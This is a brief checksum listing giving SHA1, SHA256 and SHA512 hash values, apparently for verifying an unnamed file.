SHA183248a05fcc2afd16249506489000052287f0211
SHA25628f9c3760cff0062ec5c30b156639d63b6404513c6e7ac8052e10e04af61768d
SHA512b1adb2b9df9b58b8425a98d800b6bd64387580303e7735d4660af424114186c535b17dfad091f8d4a3a5bb1c19894f853114760e83b61d3b7f8c587f74e2d377